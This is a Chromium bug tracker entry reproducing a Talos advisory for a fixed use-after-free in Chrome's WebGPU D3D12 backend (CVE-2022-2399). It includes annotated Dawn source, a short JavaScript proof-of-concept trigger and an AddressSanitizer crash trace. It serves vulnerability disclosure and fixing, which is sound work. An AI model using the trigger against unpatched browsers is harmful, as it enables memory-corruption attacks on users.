Starred by 1 user

Owner:	enga@chromium.org
CC:	kbr@chromium.org cwallez@chromium.org bajones@chromium.org lokokung@google.com enga@chromium.org kainino@chromium.org dsinclair@chromium.org
Status:	Fixed *(Closed)*
Components:	Blink>WebGPU
Modified:	Aug 12, 2022
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	----
OS:	Windows
Pri:	1
Type:	Bug-Security

Hotlist-Merge-Review
reward-10000
Security_Impact-Head
Security_Severity-High
ReleaseBlock-Stable
allpublic
reward-inprocess
CVE_description-submitted
external_security_report
FoundIn-102
M-102
Target-102
merge-merged-4896
merge-merged-100
merge-merged-4951
merge-merged-101
CVE-2022-2399

Issue 1313172: Google Chrome WebGPU DoBufferDestroy kDirect allocation use-after-free vulnerability - TALOS-2022-1508

Reported by vulnd...@sourcefire.com on Mon, Apr 4, 2022, 4:10 PM EDT

Code

Summary

A use-after-free vulnerability exists in the WebGPU functionality of Google Chrome 102.0.4956.0 (Build) (64-bit) and 99.0.4844.82 (Build) (64-bit). A specially-crafted web page can lead to a use-after-free. An attacker can provide a crafted URL to trigger this vulnerability.

Tested Versions

Google Chrome 102.0.4956.0 (Build) (64-bit)
Google Chrome 99.0.4844.82 (Build) (64-bit)

Product URLs

Chrome - https://www.google.com/chrome/

CVSSv3 Score

8.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

CWE

CWE-416 - Use After Free

Details

Google Chrome is a cross-platform web browser developed by Google and is currently the most popular web browser. It supports many features including webGPU which is still in experimental development.

WebGPU is a web standard and a JavaScript API for accelerated 3D graphics and computation.

Vulnerability happens due to a use-after-free vulnerability. Memory is firstly allocated in `dawn::native::d3d12::ResourceAllocatorManager::CreateCommittedResource` function and later freed in `dawn::native::d3d12::ResourceAllocatorManager::DeallocateMemory`. But afterwards, freed the memory is still referenced in `dawn::native::d3d12::Pageable::IsResidencyLocked`, despite being already freed.

JS proof-of-concept code:

```
    g_coordBuffer = device.createBuffer({size: 4294967295, usage: 0x08, mappedAtCreation: false });     // force allocation
    device.queue.writeBuffer(g_coordBuffer, 0, new ArrayBuffer(4096));                                  // reference the buffer (to execute
```

CommandRecordingContext::TrackHeapUsage)
    g_coordBuffer.destroy(); // force freeing

The size parameter of `createBuffer` needs to be adjusted (should be at least `4096 * 4096`). This is required because we must force the `allocation.GetInfo().mMethod` to be `AllocationMethod::kDirect` (for large memory regions direct memory allocation will be used through `CreateCommittedResource` function).

As you can see the `writeBuffer` operation is added to the device queue. A Queue allows you to send work asynchronously to the GPU.
We have modified the chromium source in order to find the culprit of this error, see the output below:

```
    [tid=0x0000444c] mHeapsPendingUsage.clear()
    [tid=0x0000444c] Buffer::Create buffer=000001E0C121DB60
    [tid=0x0000444c] APIWriteBuffer buffer=000001E0C121DB60 bufferOffset=0000000000000000
data=000001E0D1EAD7D8 size=0000000000001000
    [tid=0x0000444c] CommandRecordingContext::TrackHeapUsage adding heap=000001E0C0A0D710 to
mHeapsPendingUsage
    [tid=0x0000444c] CommandRecordingContext::TrackHeapUsage adding heap=000001E0C8EFAC50 to
mHeapsPendingUsage
    [tid=0x0000444c] Server::DoBufferDestroy self=000001E0C121DB60
    [tid=0x0000444c] ~Heap() this=000001E0C8EFAC50
    [tid=0x0000444c] CommandRecordingContext::ExecuteCommandList
    [tid=0x0000444c] ResidencyManager::EnsureHeapsAreResident  heapCount=0000000000000002
    [tid=0x0000444c] ResidencyManager::EnsureHeapsAreResident  i=0000000000000000 heap=000001E0C0A0D710
    [tid=0x0000444c] ResidencyManager::EnsureHeapsAreResident  i=0000000000000001 heap=000001E0C8EFAC50
```

`CommandRecordingContext::TrackHeapUsage` function adds heap region to `mHeapsPendingUsage` (`vector<Heap*>`). Next, `DoBufferDestroy` executes and since allocation type of this memory region is `AllocationMethod::kDirect` (we forced this, see above), heap object destructor is executed (by using `delete allocation.GetResourceHeap()` inside of `ResourceAllocatorManager::DeallocateMemory`) leading to freeing of `000001E0C8EFAC50` object. However, this heap object was not yet erased from the `mHeapsPendingUsage` array. `ResidencyManager::EnsureHeapsAreResident` function will be executed later by `CommandRecordingContext::ExecuteCommandList` function. It will go through the `mHeapsPendingUsage` region list, this will lead to use-after-free since the `000001E0C8EFAC50` heap object is already freed.

See the affected source codes below.

For allocation:

```
    // src/dawn/native/d3d12/ResourceAllocatorManagerD3D12.cpp

    ResultOrError<ResourceHeapAllocation> ResourceAllocatorManager::CreateCommittedResource(
        D3D12_HEAP_TYPE heapType,
        const D3D12_RESOURCE_DESC& resourceDescriptor,
        const D3D12_CLEAR_VALUE* optimizedClearValue,
        D3D12_RESOURCE_STATES initialUsage) {
        D3D12_HEAP_PROPERTIES heapProperties;
        heapProperties.Type = heapType;
        heapProperties.CPUPageProperty = D3D12_CPU_PAGE_PROPERTY_UNKNOWN;
        heapProperties.MemoryPoolPreference = D3D12_MEMORY_POOL_UNKNOWN;
        heapProperties.CreationNodeMask = 0;

        heapProperties.VisibleNodeMask = 0;

        // If d3d tells us the resource size is invalid, treat the error as OOM.
```

```
    // If d3d tells us the resource size is invalid, treat the error as OOM.
    // Otherwise, creating the resource could cause a device loss (too large).
    // This is because NextPowerOfTwo(UINT64_MAX) overflows and proceeds to
    // incorrectly allocate a mismatched size.
    D3D12_RESOURCE_ALLOCATION_INFO resourceInfo =
        mDevice->GetD3D12Device()->GetResourceAllocationInfo(0, 1, &resourceDescriptor);
    if (resourceInfo.SizeInBytes == 0 ||
        resourceInfo.SizeInBytes == std::numeric_limits<uint64_t>::max()) {
        return DAWN_OUT_OF_MEMORY_ERROR("Resource allocation size was invalid.");
    }

    if (resourceInfo.SizeInBytes > kMaxHeapSize) {
        return ResourceHeapAllocation{};  // Invalid
    }

    // CreateCommittedResource will implicitly make the created resource resident. We must
    // ensure enough free memory exists before allocating to avoid an out-of-memory error when
    // overcommitted.
    DAWN_TRY(mDevice->GetResidencyManager()->EnsureCanAllocate(
        resourceInfo.SizeInBytes, GetMemorySegment(mDevice, heapType)));

    // Note: Heap flags are inferred by the resource descriptor and do not need to be explicitly
    // provided to CreateCommittedResource.
    ComPtr<ID3D12Resource> committedResource;
    DAWN_TRY(CheckOutOfMemoryHRESULT(
        mDevice->GetD3D12Device()->CreateCommittedResource(
            &heapProperties, D3D12_HEAP_FLAG_NONE, &resourceDescriptor, initialUsage,
            optimizedClearValue, IID_PPV_ARGS(&committedResource)),
        "ID3D12Device::CreateCommittedResource"));

    // When using CreateCommittedResource, D3D12 creates an implicit heap that contains the
    // resource allocation. Because Dawn's memory residency management occurs at the resource
    // heap granularity, every directly allocated ResourceHeapAllocation also stores a Heap
    // object. This object is created manually, and must be deleted manually upon deallocation
    // of the committed resource.
    Heap* heap = new Heap(committedResource, GetMemorySegment(mDevice, heapType),
                          resourceInfo.SizeInBytes);

    // Calling CreateCommittedResource implicitly calls MakeResident on the resource. We must
    // track this to avoid calling MakeResident a second time.
    mDevice->GetResidencyManager()->TrackResidentAllocation(heap);

    AllocationInfo info;
    info.mMethod = AllocationMethod::kDirect;                 // <-- DIRECT ALLOCATION

    return ResourceHeapAllocation{info,
                                  /*offset*/ 0, std::move(committedResource), heap};
}


ResultOrError<ResourceHeapAllocation> ResourceAllocatorManager::AllocateMemory(

        D3D12_HEAP_TYPE heapType,
        const D3D12_RESOURCE_DESC& resourceDescriptor,
        D3D12_RESOURCE_STATES initialUsage) {
```

```
        D3D12_RESOURCE_STATES initialUsage) {
        // In order to suppress a warning in the D3D12 debug layer, we need to specify an
        // optimized clear value. As there are no negative consequences when picking a mismatched
        // clear value, we use zero as the optimized clear value. This also enables fast clears on
        // some architectures.
        D3D12_CLEAR_VALUE zero{};
        D3D12_CLEAR_VALUE* optimizedClearValue = nullptr;
        if (IsClearValueOptimizable(resourceDescriptor)) {
            zero.Format = resourceDescriptor.Format;
            optimizedClearValue = &zero;
        }
        // TODO(crbug.com/dawn/849): Conditionally disable sub-allocation.
        // For very large resources, there is no benefit to suballocate.
        // For very small resources, it is inefficent to suballocate given the min. heap
        // size could be much larger then the resource allocation.
        // Attempt to satisfy the request using sub-allocation (placed resource in a heap).
        ResourceHeapAllocation subAllocation;
        DAWN_TRY_ASSIGN(subAllocation, CreatePlacedResource(heapType, resourceDescriptor,                  // <-- this will
fail
                                                            optimizedClearValue, initialUsage));
        if (subAllocation.GetInfo().mMethod != AllocationMethod::kInvalid) {
            return std::move(subAllocation);
        }
        // If sub-allocation fails, fall-back to direct allocation (committed resource).
        ResourceHeapAllocation directAllocation;                                                    // <-- we will use direct allocation
        DAWN_TRY_ASSIGN(directAllocation,
                        CreateCommittedResource(heapType, resourceDescriptor, optimizedClearValue,
                                                initialUsage));
        if (directAllocation.GetInfo().mMethod != AllocationMethod::kInvalid) {
            return std::move(directAllocation);
        }
        // If direct allocation fails, the system is probably out of memory.
        return DAWN_OUT_OF_MEMORY_ERROR("Allocation failed");
    }
```

For freeing:

```
    // src/dawn/native/d3d12/ResourceAllocatorManagerD3D12.cpp

    // executed by dawn::wire::server::Server::DoBufferDestroy
    void ResourceAllocatorManager::DeallocateMemory(ResourceHeapAllocation& allocation) {
        if (allocation.GetInfo().mMethod == AllocationMethod::kInvalid) {
            return;
        }
        mAllocationsToDelete.Enqueue(allocation, mDevice->GetPendingCommandSerial());
        // Directly allocated ResourceHeapAllocations are created with a heap object that must be
        // manually deleted upon deallocation. See ResourceAllocatorManager::CreateCommittedResource
        // for more information.
        if (allocation.GetInfo().mMethod == AllocationMethod::kDirect) {
            delete allocation.GetResourceHeap();                                ; --> FREES THE HEAP OBJECT, BUT HEAP

OBJECT IS STILL ON mHeapsPendingUsage
        }
        // Invalidate the allocation immediately in case one accidentally
```

```
        // Invalidate the allocation immediately in case one accidentally
        // calls DeallocateMemory again using the same allocation.
        allocation.Invalidate();
        ASSERT(allocation.GetD3D12Resource() == nullptr);
    }


// src/dawn/native/d3d12/CommandRecordingContext.cpp:

void CommandRecordingContext::TrackHeapUsage(Heap* heap, ExecutionSerial serial) {
        // Before tracking the heap, check the last serial it was recorded on to ensure we aren't
        // tracking it more than once.
        if (heap->GetLastUsage() < serial) {
            heap->SetLastUsage(serial);
            mHeapsPendingUsage.push_back(heap);         // <-- adding heap to  mHeapsPendingUsage
        }
    }
```

For use-after-free:

```
// src/dawn/native/d3d12/CommandRecordingContext.cpp

MaybeError CommandRecordingContext::ExecuteCommandList(Device* device) {
    if (IsOpen()) {
        // Shared textures must be transitioned to common state after the last usage in order
        // for them to be used by other APIs like D3D11. We ensure this by transitioning to the
        // common state right before command list submission. TransitionUsageNow itself ensures
        // no unnecessary transitions happen if the resources is already in the common state.
        for (Texture* texture : mSharedTextures) {
            DAWN_TRY(texture->AcquireKeyedMutex());
            texture->TrackAllUsageAndTransitionNow(this, D3D12_RESOURCE_STATE_COMMON);
        }
        MaybeError error =
            CheckHRESULT(mD3d12CommandList->Close(), "D3D12 closing pending command list");
        if (error.IsError()) {
            Release();
            DAWN_TRY(std::move(error));
        }
        DAWN_TRY(device->GetResidencyManager()->EnsureHeapsAreResident(
            mHeapsPendingUsage.data(), mHeapsPendingUsage.size()));                    ; --> EXECUTE
EnsureHeapsAreResident with heap objects list from mHeapsPendingUsage



        ...


        ID3D12CommandList* d3d12CommandList = GetCommandList();
        device->GetCommandQueue()->ExecuteCommandLists(1, &d3d12CommandList);
        for (Texture* texture : mSharedTextures) {
            texture->ReleaseKeyedMutex();

        }
        mIsOpen = false;
        mSharedTextures.clear();
```

```
            mSharedTextures.clear();
            mHeapsPendingUsage.clear();
        }
        return {};
    }


    // main/src/dawn/native/d3d12/ResidencyManagerD3D12.cpp
    // executed by: dawn::native::d3d12::CommandRecordingContext::ExecuteCommandList

    MaybeError ResidencyManager::EnsureHeapsAreResident(Heap** heaps, size_t heapCount) {
        if (!mResidencyManagementEnabled) {
            return {};
        }
        std::vector<ID3D12Pageable*> localHeapsToMakeResident;
        std::vector<ID3D12Pageable*> nonLocalHeapsToMakeResident;
        uint64_t localSizeToMakeResident = 0;
        uint64_t nonLocalSizeToMakeResident = 0;
        ExecutionSerial pendingCommandSerial = mDevice->GetPendingCommandSerial();
        for (size_t i = 0; i < heapCount; i++) {
            Heap* heap = heaps[i];                      // <--- USE AFTER FREE BELOW (SINCE HEAP OBJECT CAN BE
ALREADY FREED AT THIS POINT)
            // Heaps that are locked resident are not tracked in the LRU cache.
            if (heap->IsResidencyLocked()) {
                continue;
            }

        ...
```

Crash Information

POC command line: `chrome.exe --no-sandbox --enable-unsafe-webgpu --incognito C:\poc\poc.html`

```
            =================================================================
            ==14992==ERROR: AddressSanitizer: heap-use-after-free on address 0x12323c34b3f4 at pc 0x7fffba6cd60f bp
0x00603cffe190 sp 0x00603cffe1d8
            READ of size 4 at 0x12323c34b3f4 thread T0
            ==14992==WARNING: Failed to use and restart external symbolizer!
            ==14992==*** WARNING: Failed to initialize DbgHelp!              ***
            ==14992==*** Most likely this means that the app is already      ***
            ==14992==*** using DbgHelp, possibly with incompatible flags.    ***
            ==14992==*** Due to technical reasons, symbolization might crash ***
            ==14992==*** or produce wrong results.                          ***
            [9240:12420:0324/105944.791:ERROR:device_event_log_impl.cc(214)] [10:59:44.790] Bluetooth:
bluetooth_adapter_winrt.cc:1075 Getting Default Adapter failed.
                #0 0x7fffba6cd60e in dawn::native::d3d12::Pageable::IsResidencyLocked
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\PageableD3D12.cpp:74

                #1 0x7fffba6ddb3a in dawn::native::d3d12::ResidencyManager::EnsureHeapsAreResident
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\ResidencyManagerD3D12.cpp:252
                #2 0x7fffba6b5b11 in dawn::native::d3d12::CommandRecordingContext::ExecuteCommandList
```

#2 0x7fffba6b5b11 in dawn::native::d3d12::CommandRecordingContext::ExecuteCommandList
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\CommandRecordingContext.cpp:80
#3 0x7fffba6c33ae in dawn::native::d3d12::Device::TickImpl
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\DeviceD3D12.cpp:328
#4 0x7fffba5b7ec3 in dawn::native::DeviceBase::Tick
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\Device.cpp:1125
#5 0x7fffba5b7b8a in dawn::native::DeviceBase::APITick
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\Device.cpp:1111
#6 0x7fffcfe96234 in std::__1::remove_if<std::__1::__wrap_iter<std::__1::pair<unsigned int,unsigned int>
*>,`lambda at ../../gpu/command_buffer/service/webgpu_decoder_impl.cc:270:24'>
C:\b\s\w\ir\cache\builder\src\buildtools\third_party\libc++\trunk\include\algorithm:2157
#7 0x7fffcfe93f57 in gpu::webgpu::WebGPUDecoderImpl::PerformPollingWork
C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\webgpu_decoder_impl.cc:269
#8 0x7fffcfe8bad3 in gpu::webgpu::WebGPUDecoderImpl::HandleDawnCommands
C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\webgpu_decoder_impl.cc:1620
#9 0x7fffcfe93388 in gpu::webgpu::WebGPUDecoderImpl::DoCommands
C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\webgpu_decoder_impl.cc:1385
#10 0x7fffc9036b17 in gpu::CommandBufferService::Flush
C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\command_buffer_service.cc:70
#11 0x7fffc639abec in gpu::CommandBufferStub::OnAsyncFlush
C:\b\s\w\ir\cache\builder\src\gpu\ipc\service\command_buffer_stub.cc:499
#12 0x7fffc6399dc6 in gpu::CommandBufferStub::ExecuteDeferredRequest
C:\b\s\w\ir\cache\builder\src\gpu\ipc\service\command_buffer_stub.cc:151
#13 0x7fffc63a6733 in gpu::GpuChannel::ExecuteDeferredRequest
C:\b\s\w\ir\cache\builder\src\gpu\ipc\service\gpu_channel.cc:670
#14 0x7fffc63b159b in base::internal::Invoker<base::internal::BindState<void (gpu::GpuChannel::*)
(mojo::StructPtr<gpu::mojom::DeferredRequestParams>),base::WeakPtr<gpu::GpuChannel>,mojo::StructPtr<gpu::mojom::D
eferredRequestParams> >,void ()>::RunOnce C:\b\s\w\ir\cache\builder\src\base\bind_internal.h:748
#15 0x7fffc5fe049c in gpu::Scheduler::RunNextTask
C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler.cc:691
#16 0x7fffc4ae2684 in base::TaskAnnotator::RunTaskImpl
C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.cc:135
#17 0x7fffc79bfd85 in
base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl
C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:385
#18 0x7fffc79bf379 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork
C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:290
#19 0x7fffc79989aa in base::MessagePumpDefault::Run
C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_default.cc:39
#20 0x7fffc79c14f0 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run
C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:497
#21 0x7fffc4a60c73 in base::RunLoop::Run C:\b\s\w\ir\cache\builder\src\base\run_loop.cc:141
#22 0x7fffc72c3a8e in content::GpuMain C:\b\s\w\ir\cache\builder\src\content\gpu\gpu_main.cc:404
#23 0x7fffc469297b in content::RunOtherNamedProcessTypeMain
C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc:684
#24 0x7fffc46945b7 in content::ContentMainRunnerImpl::Run
C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc:1023
#25 0x7fffc4690fab in content::RunContentProcess
C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc:407
#26 0x7fffc4691734 in content::ContentMain C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc:435
#27 0x7fffb96c14ca in ChromeMain C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_main.cc:176

#28 0x7ff764cc5b16 in MainDllLoader::Launch
C:\b\s\w\ir\cache\builder\src\chrome\app\main_dll_loader_win.cc:167
#29 0x7ff764cc2b5f in main C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_exe_main_win.cc:382

#29 0x7ff764cc2b5f in main C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_exe_main_win.cc:382
#30 0x7ff7650be3eb in __scrt_common_main_seh
d:\a01_work\12\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:288
#31 0x7ff833507033 in BaseThreadInitThunk+0x13
(C:\WINDOWS\System32\KERNEL32.DLL+0x180017033)
#32 0x7ff8352a2650 in RtlUserThreadStart+0x20 (C:\WINDOWS\SYSTEM32\ntdll.dll+0x180052650)

0x12323c34b3f4 is located 52 bytes inside of 72-byte region [0x12323c34b3c0,0x12323c34b408)
freed by thread T0 here:
#0 0x7ff764d6e48b in free C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-
rt\lib\asan\asan_malloc_win.cpp:82
#1 0x7fffba6cba2f in dawn::native::d3d12::Heap::~Heap
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\HeapD3D12.h:29
#2 0x7fffba6e2863 in dawn::native::d3d12::ResourceAllocatorManager::DeallocateMemory
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\ResourceAllocatorManagerD3D12.cpp:243
#3 0x7fffba5fb3a3 in dawn::native::ApiObjectBase::Destroy
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\ObjectBase.cpp:86
#4 0x7fffd5d099c1 in dawn::wire::server::Server::DoBufferDestroy
C:\b\s\w\ir\cache\builder\src\out\Release_x64\gen\third_party\dawn\src\dawn\wire\server\ServerDoers_autogen.cpp:22
#5 0x7fffd52dc4f9 in dawn::wire::server::Server::HandleBufferDestroy
C:\b\s\w\ir\cache\builder\src\out\Release_x64\gen\third_party\dawn\src\dawn\wire\server\ServerHandlers_autogen.cpp:70
#6 0x7fffd52ee99d in dawn::wire::server::Server::HandleCommandsImpl
C:\b\s\w\ir\cache\builder\src\out\Release_x64\gen\third_party\dawn\src\dawn\wire\server\ServerHandlers_autogen.cpp:2502
#7 0x7fffcfe8babd in gpu::webgpu::WebGPUDecoderImpl::HandleDawnCommands
C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\webgpu_decoder_impl.cc:1612
#8 0x7fffcfe93388 in gpu::webgpu::WebGPUDecoderImpl::DoCommands
C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\webgpu_decoder_impl.cc:1385
#9 0x7fffc9036b17 in gpu::CommandBufferService::Flush
C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\command_buffer_service.cc:70
#10 0x7fffc639abec in gpu::CommandBufferStub::OnAsyncFlush
C:\b\s\w\ir\cache\builder\src\gpu\ipc\service\command_buffer_stub.cc:499
#11 0x7fffc6399dc6 in gpu::CommandBufferStub::ExecuteDeferredRequest
C:\b\s\w\ir\cache\builder\src\gpu\ipc\service\command_buffer_stub.cc:151
#12 0x7fffc63a6733 in gpu::GpuChannel::ExecuteDeferredRequest
C:\b\s\w\ir\cache\builder\src\gpu\ipc\service\gpu_channel.cc:670
#13 0x7fffc63b159b in base::internal::Invoker<base::internal::BindState<void (gpu::GpuChannel::*)
(mojo::StructPtr<gpu::mojom::DeferredRequestParams>),base::WeakPtr<gpu::GpuChannel>,mojo::StructPtr<gpu::mojom::D
eferredRequestParams> >,void ()>::RunOnce C:\b\s\w\ir\cache\builder\src\base\bind_internal.h:748
#14 0x7fffc5fe049c in gpu::Scheduler::RunNextTask
C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler.cc:691
#15 0x7fffc4ae2684 in base::TaskAnnotator::RunTaskImpl
C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.cc:135
#16 0x7fffc79bfd85 in
base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl
C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:385
#17 0x7fffc79bf379 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork
C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:290
#18 0x7fffc79989aa in base::MessagePumpDefault::Run
C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_default.cc:39
#19 0x7fffc79c14f0 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run
C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:497

#20 0x7fffc4a60c73 in base::RunLoop::Run C:\b\s\w\ir\cache\builder\src\base\run_loop.cc:141
#21 0x7fffc72c3a8e in content::GpuMain C:\b\s\w\ir\cache\builder\src\content\gpu\gpu_main.cc:404
#22 0x7fffc460207b in content::RunOtherNamedProcessTypeMain

#22 0x7fffc469297b in content::RunOtherNamedProcessTypeMain
C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc:684
#23 0x7fffc46945b7 in content::ContentMainRunnerImpl::Run
C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc:1023
#24 0x7fffc4690fab in content::RunContentProcess
C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc:407
#25 0x7fffc4691734 in content::ContentMain C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc:435
#26 0x7fffb96c14ca in ChromeMain C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_main.cc:176
#27 0x7ff764cc5b16 in MainDllLoader::Launch
C:\b\s\w\ir\cache\builder\src\chrome\app\main_dll_loader_win.cc:167

previously allocated by thread T0 here:
#0 0x7ff764d6e58b in malloc C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-
rt\lib\asan\asan_malloc_win.cpp:98
#1 0x7fffd74810de in operator new d:\a01_work\12\s\src\vctools\crt\vcstartup\src\heap\new_scalar.cpp:35
#2 0x7fffba6e1623 in dawn::native::d3d12::ResourceAllocatorManager::CreateCommittedResource
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\ResourceAllocatorManagerD3D12.cpp:390
#3 0x7fffba6df350 in dawn::native::d3d12::ResourceAllocatorManager::AllocateMemory
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\ResourceAllocatorManagerD3D12.cpp:211
#4 0x7fffba6c77dd in dawn::native::d3d12::Device::AllocateMemory
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\DeviceD3D12.cpp:530
#5 0x7fffba69e5cd in dawn::native::d3d12::Buffer::Initialize
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\BufferD3D12.cpp:153
#6 0x7fffba69df5c in dawn::native::d3d12::Buffer::Create
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\BufferD3D12.cpp:101
#7 0x7fffba6c56b3 in dawn::native::d3d12::Device::CreateBufferImpl
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\DeviceD3D12.cpp:392
#8 0x7fffba5aac54 in dawn::native::DeviceBase::CreateBuffer
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\Device.cpp:1293
#9 0x7fffba5aa1aa in dawn::native::DeviceBase::APICreateBuffer
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\Device.cpp:949
#10 0x7fffd5d0f70c in dawn::wire::server::Server::DoDeviceCreateBuffer
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\wire\server\ServerBuffer.cpp:118
#11 0x7fffd52e1e72 in dawn::wire::server::Server::HandleDeviceCreateBuffer
C:\b\s\w\ir\cache\builder\src\out\Release_x64\gen\third_party\dawn\src\dawn\wire\server\ServerHandlers_autogen.cpp:830
#12 0x7fffd52eec91 in dawn::wire::server::Server::HandleCommandsImpl
C:\b\s\w\ir\cache\builder\src\out\Release_x64\gen\third_party\dawn\src\dawn\wire\server\ServerHandlers_autogen.cpp:2619
#13 0x7fffcfe8babd in gpu::webgpu::WebGPUDecoderImpl::HandleDawnCommands
C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\webgpu_decoder_impl.cc:1612
#14 0x7fffcfe93388 in gpu::webgpu::WebGPUDecoderImpl::DoCommands
C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\webgpu_decoder_impl.cc:1385
#15 0x7fffc9036b17 in gpu::CommandBufferService::Flush
C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\command_buffer_service.cc:70
#16 0x7fffc639abec in gpu::CommandBufferStub::OnAsyncFlush
C:\b\s\w\ir\cache\builder\src\gpu\ipc\service\command_buffer_stub.cc:499
#17 0x7fffc6399dc6 in gpu::CommandBufferStub::ExecuteDeferredRequest
C:\b\s\w\ir\cache\builder\src\gpu\ipc\service\command_buffer_stub.cc:151
#18 0x7fffc63a6733 in gpu::GpuChannel::ExecuteDeferredRequest
C:\b\s\w\ir\cache\builder\src\gpu\ipc\service\gpu_channel.cc:670
#19 0x7fffc63b159b in base::internal::Invoker<base::internal::BindState<void (gpu::GpuChannel::*)
(mojo::StructPtr<gpu::mojom::DeferredRequestParams>),base::WeakPtr<gpu::GpuChannel>,mojo::StructPtr<gpu::mojom::D

eferredRequestParams> >,void ()>::RunOnce C:\b\s\w\ir\cache\builder\src\base\bind_internal.h:748
#20 0x7fffc5fe049c in gpu::Scheduler::RunNextTask
C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler.cc:601

C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler.cc:691
    #21 0x7fffc4ae2684 in base::TaskAnnotator::RunTaskImpl
C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.cc:135
    #22 0x7fffc79bfd85 in
base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl
C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:385
    #23 0x7fffc79bf379 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork
C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:290
    #24 0x7fffc79989aa in base::MessagePumpDefault::Run
C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_default.cc:39
    #25 0x7fffc79c14f0 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run
C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:497
    #26 0x7fffc4a60c73 in base::RunLoop::Run C:\b\s\w\ir\cache\builder\src\base\run_loop.cc:141
    #27 0x7fffc72c3a8e in content::GpuMain C:\b\s\w\ir\cache\builder\src\content\gpu\gpu_main.cc:404

SUMMARY: AddressSanitizer: heap-use-after-free
C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\PageableD3D12.cpp:74 in
dawn::native::d3d12::Pageable::IsResidencyLocked
Shadow bytes around the buggy address:
  0x046a83ae9620: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
  0x046a83ae9630: fa fa fd fd fd fd fd fd fd fd fd fd fa fa fa fa
  0x046a83ae9640: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fd fd
  0x046a83ae9650: fd fd fd fd fd fd fd fa fa fa fa 00 00 00 00
